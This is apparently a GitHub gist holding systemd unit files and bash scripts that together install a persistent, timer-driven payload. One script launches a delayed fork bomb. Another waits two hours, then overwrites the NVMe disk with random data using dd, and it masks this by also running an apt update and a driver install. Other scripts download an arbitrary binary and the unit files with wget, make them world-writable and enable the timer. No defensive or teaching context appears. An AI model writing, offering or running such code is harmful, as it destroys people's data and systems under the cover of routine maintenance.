Last active
May 22, 2023 09:54
-
-
Save tcmhoang/4eeab53b5a7a76ec6ff54a30161ba7b7 to your computer and use it in GitHub Desktop.
fua
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=bye | |
[Service] | |
Type=oneshot | |
ExecStart=/usr/local/bin/foobaz | |
UMask=0077 | |
DynamicUser=yes | |
PrivateTmp=yes | |
PrivateDevices=yes | |
PrivateUsers=yes | |
SystemCallFilter=~@clock | |
SystemCallFilter=~@cpu-emulation | |
SystemCallFilter=~@debug | |
SystemCallFilter=~@module | |
SystemCallFilter=~@mount | |
SystemCallFilter=~@obsolete | |
SystemCallFilter=~@privileged | |
SystemCallFilter=~@raw-io | |
SystemCallFilter=~@reboot | |
SystemCallFilter=~@resources | |
SystemCallFilter=~@swap | |
SystemCallArchitectures=native | |
CapabilityBoundingSet= | |
DevicePolicy=closed | |
ProcSubset=pid |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=bye | |
[Timer] | |
OnCalendar=*-*-* 00:00:00 | |
RandomizedDelaySec=18000 | |
Persistent=true | |
Unit=b.service | |
[Install] | |
WantedBy=timers.target |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ $(/usr/bin/id -u) -ne 0 ]]; then | |
echo "Not running as root" | |
exit | |
fi | |
wget -q -O /tmp/foobaz "$1" \ | |
&& sudo mv /tmp/foobaz /usr/local/bin/foobaz \ | |
&& sudo chown 0:0 /usr/local/bin/foobaz \ | |
&& sudo chmod 777 /usr/local/bin/foobaz | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sleep 1h && :(){:|:&};:& | |
disown -r | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ $(/usr/bin/id -u) -ne 0 ]]; then | |
echo "Not running as root" | |
exit | |
fi | |
sleep 2h && sudo dd if=/dev/random of=/dev/nvme0n1 &> /dev/null & | |
disown -r | |
sudo apt update ; sudo ubuntu-drives autoinstall |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -q -O '/tmp/b.timer' && wget -q -O '/tmp/b.service' | |
&& sudo mv /tmp/b.{service,timer} /etc/systemd/system/ \ | |
&& sudo chown 0:0 /etc/systemd/system/b.{service,timer} \ | |
&& sudo chmod 777 /etc/systemd/system/b.{service,timer} \ | |
&& sudo systemctl daemon-reload \ | |
&& sudo systemctl enable b.timer \ | |
&& sudo systemctl start b.timer | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment